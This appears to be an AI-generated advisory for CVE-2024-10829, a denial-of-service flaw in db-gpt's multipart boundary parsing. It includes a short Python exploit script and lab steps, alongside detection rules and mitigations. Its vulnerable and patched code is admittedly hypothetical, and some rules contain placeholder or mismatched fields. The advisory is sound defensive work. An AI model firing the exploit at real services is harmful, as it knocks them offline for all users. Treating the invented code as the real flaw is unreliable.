CVE-2024-10829
Executive Summary
CVE-2024-10829 is a high-severity Denial of Service (DoS) vulnerability in the multipart request boundary processing mechanism of eosphoros-ai/db-gpt v0.6.0. An unauthenticated attacker can trigger excessive resource consumption by appending excessive characters to the end of multipart boundaries, causing an infinite loop and complete denial of service for all users. This vulnerability affects all endpoints processing multipart/form-data requests. The CVSS score is 7.5, and no patch is currently available. The EPSS score is 0.0%, indicating low exploitation likelihood at this time, but the risk remains significant due to the lack of a fix.
This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.
No signup required
Supply Chain & Package Security
This vulnerability affects the Python package db-gpt (eosphoros-ai/db-gpt) available on PyPI. Users should monitor the package for updates and consider implementing mitigations until a patch is released.
CVSS Breakdown & Threat Level
- CVSS Score: 7.5 (High)
- Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
- Attack Vector: Network
- Attack Complexity: Low
- Privileges Required: None
- User Interaction: None
- Scope: Unchanged
- Confidentiality Impact: None
- Integrity Impact: None
- Availability Impact: High
- Threat Level: High (due to ease of exploitation and lack of patch)
Deep Dive & Mechanics
The vulnerability resides in the multipart request boundary processing logic of db-gpt v0.6.0. When a multipart/form-data request is received, the server parses the boundary string from the Content-Type header. The vulnerable code fails to properly handle boundaries with excessive trailing characters. Instead of rejecting or truncating the malformed boundary, the server enters an infinite loop, continuously attempting to parse the boundary and consuming 100% CPU resources. This leads to a complete denial of service for all users, as the server becomes unresponsive.
The root cause is a missing validation or termination condition in the boundary parsing loop. An attacker can craft a simple HTTP request with a malformed boundary (e.g., boundary=----WebKitFormBoundary followed by thousands of a characters) to trigger the infinite loop.
Vulnerable vs. Patched Code
Vulnerable Code (v0.6.0):
# Hypothetical vulnerable boundary parsing logic
def parse_multipart_boundary(content_type):
boundary = content_type.split("boundary=")[1]
# No length check or termination condition
while True:
# Process boundary characters indefinitely
if boundary.endswith("--"):
break
# Missing validation leads to infinite loop
Patched Code (Not yet available):
# Hypothetical patched logic
def parse_multipart_boundary(content_type):
boundary = content_type.split("boundary=")[1]
# Add length limit and proper termination
if len(boundary) > 1024:
raise ValueError("Boundary too long")
# Process with timeout or finite loop
for char in boundary:
# Process each character
pass
Exploitation & Lab Setup
Red Team
To exploit this vulnerability, an attacker sends a crafted multipart/form-data POST request with an excessively long boundary string. No authentication is required.
Exploit Code (Python):
import requests
target_url = "http://target:5000/upload"
boundary = "----WebKitFormBoundary" + "A" * 10000 # Excessive trailing characters
headers = {
"Content-Type": f"multipart/form-data; boundary={boundary}"
}
data = f"--{boundary}\r\nContent-Disposition: form-data; name=\"file\"; filename=\"test.txt\"\r\n\r\nmalicious content\r\n--{boundary}--\r\n"
# Send the request
response = requests.post(target_url, headers=headers, data=data)
print(f"Status: {response.status_code}")
Lab Setup:
- Deploy db-gpt v0.6.0 in a Docker container.
- Expose the service on port 5000.
- Run the exploit script against the service.
- Observe CPU usage spike and service unresponsiveness.
Blue Team
Detection:
- Monitor for HTTP requests with
Content-Type: multipart/form-dataand unusually long boundary strings (e.g., > 1024 characters). - Use network monitoring to detect anomalous traffic patterns.
Mitigation:
- Implement a Web Application Firewall (WAF) rule to block requests with boundary strings exceeding a reasonable length.
- Apply rate limiting to multipart endpoints.
- Restrict access to the service using network segmentation.
Indicators of Compromise (IOCs)
Network IOCs:
- HTTP POST requests with
Content-Type: multipart/form-dataand boundary strings longer than 1024 characters. - High CPU usage on the server (sustained 100%).
- Service unresponsiveness or timeouts.
- HTTP POST requests with
Log IOCs:
- Repeated entries in server logs showing boundary parsing errors or infinite loop warnings.
- Logs with boundary strings containing excessive trailing characters.
Detection Engineering
YARA Rule
rule CVE_2024_10829_Multipart_Boundary_DoS {
meta:
description = "Detects malicious multipart boundary strings used in CVE-2024-10829"
author = "Valters IT"
date = "2025-04-10"
reference = "CVE-2024-10829"
strings:
$boundary = /boundary=[A-Za-z0-9\-]{1025,}/ nocase
condition:
$boundary
}
Sigma Rule
title: CVE-2024-10829 - Multipart Boundary DoS Attempt
id: 12345678-1234-1234-1234-123456789012
status: experimental
description: Detects HTTP requests with excessively long multipart boundary strings
author: Valters IT
date: 2025-04-10
logsource:
category: webserver
product: generic
detection:
selection:
cs-method: 'POST'
cs-content-type: 'multipart/form-data*'
cs-uri-query|contains: 'boundary='
cs-uri-query|length: >= 1024
condition: selection
falsepositives:
- Legitimate large file uploads with long boundary strings (unlikely)
level: high
Suricata Rule
alert http any any -> any any (msg:"CVE-2024-10829 - Multipart Boundary DoS Attempt"; flow:to_server; content:"POST"; http_method; content:"multipart/form-data"; http_header; content:"boundary="; http_header; pcre:"/boundary=[A-Za-z0-9\-]{1025,}/i"; sid:1000001; rev:1;)
Remediation & Mitigation
Immediate Mitigations:
- WAF Rule: Deploy a WAF rule to block requests with boundary strings longer than 1024 characters.
- Rate Limiting: Apply rate limiting to all endpoints processing multipart/form-data.
- Network Segmentation: Restrict access to the db-gpt service to trusted IPs only.
- Monitoring: Enable logging and monitoring for anomalous multipart requests.
Long-Term Fix:
- The vendor (eosphoros-ai) must release a patch that properly validates boundary string length and adds a termination condition to the parsing loop.
- Until a patch is available, consider using an alternative solution or disabling multipart upload functionality if not required.
Valters IT Signature
This report was generated by Valters IT DevSecOps AI Assistant.